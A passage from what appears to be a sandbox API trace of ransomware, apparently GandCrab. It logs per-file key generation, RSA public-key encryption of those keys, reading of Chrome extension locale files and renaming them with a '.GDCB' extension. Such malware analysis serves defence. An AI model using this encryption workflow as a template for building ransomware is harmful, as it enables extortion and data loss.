pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.623] CryptEncrypt (in: hKey=0x679a9a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.623] GetLastError () returned 0x0 [0273.623] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.623] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.625] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.628] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.631] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2a1, lpOverlapped=0x0) returned 1 [0273.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.646] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0273.652] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.657] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.657] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.657] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.662] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.662] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.662] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.664] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a920) returned 1 [0273.664] CryptGetKeyParam (in: hKey=0x679a920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.664] CryptEncrypt (in: hKey=0x679a920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.664] GetLastError () returned 0x0 [0273.664] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.664] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.666] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aaa0) returned 1 [0273.666] CryptGetKeyParam (in: hKey=0x679aaa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.666] CryptEncrypt (in: hKey=0x679aaa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.666] GetLastError () returned 0x0 [0273.666] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.666] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.668] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.670] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.673] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2b4, lpOverlapped=0x0) returned 1 [0273.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.687] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0273.693] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.697] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.697] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.697] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.702] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.702] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0273.704] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a960) returned 1 [0273.704] CryptGetKeyParam (in: hKey=0x679a960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.704] CryptEncrypt (in: hKey=0x679a960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.705] GetLastError () returned 0x0 [0273.705] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.705] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.706] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aa20) returned 1 [0273.711] CryptGetKeyParam (in: hKey=0x679aa20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.711] CryptEncrypt (in: hKey=0x679aa20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.711] GetLastError () returned 0x0 [0273.711] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.711] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.712] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.715] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.717] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2c4, lpOverlapped=0x0) returned 1 [0273.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.731] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0273.737] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.740] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.742] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.742] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.742] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0273.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.746] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.746] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.746] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.748] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ac60) returned 1 [0273.748] CryptGetKeyParam (in: hKey=0x679ac60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.748] CryptEncrypt (in: hKey=0x679ac60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.749] GetLastError () returned 0x0 [0273.749] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.749] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.751] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aca0) returned 1 [0273.751] CryptGetKeyParam (in: hKey=0x679aca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.751] CryptEncrypt (in: hKey=0x679aca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.751] GetLastError () returned 0x0 [0273.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.755] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.757] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x3ad, lpOverlapped=0x0) returned 1 [0273.767] VirtualAlloc (lpAddress=0x0, dwSize=0x3b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.773] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.gdcb")) returned 1 [0273.778] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.782] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.783] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.783] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.787] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.787] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.787] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.787] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.789] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ad20) returned 1 [0273.789] CryptGetKeyParam (in: hKey=0x679ad20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.789] CryptEncrypt (in: hKey=0x679ad20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.790] GetLastError () returned 0x0 [0273.790] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.790] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0273.791] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ade0) returned 1 [0273.791] CryptGetKeyParam (in: hKey=0x679ade0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.791] CryptEncrypt (in: hKey=0x679ade0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.792] GetLastError () returned 0x0 [0273.792] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.792] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.793] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.795] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.798] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x279, lpOverlapped=0x0) returned 1 [0273.806] VirtualAlloc (lpAddress=0x0, dwSize=0x280, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.811] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.gdcb")) returned 1 [0273.817] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.820] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.822] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.822] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.822] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.824] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.826] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.826] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.826] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.826] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.829] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ae60) returned 1 [0273.829] CryptGetKeyParam (in: hKey=0x679ae60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.829] CryptEncrypt (in: hKey=0x679ae60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.829] GetLastError () returned 0x0 [0273.829] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.829] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.831] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, 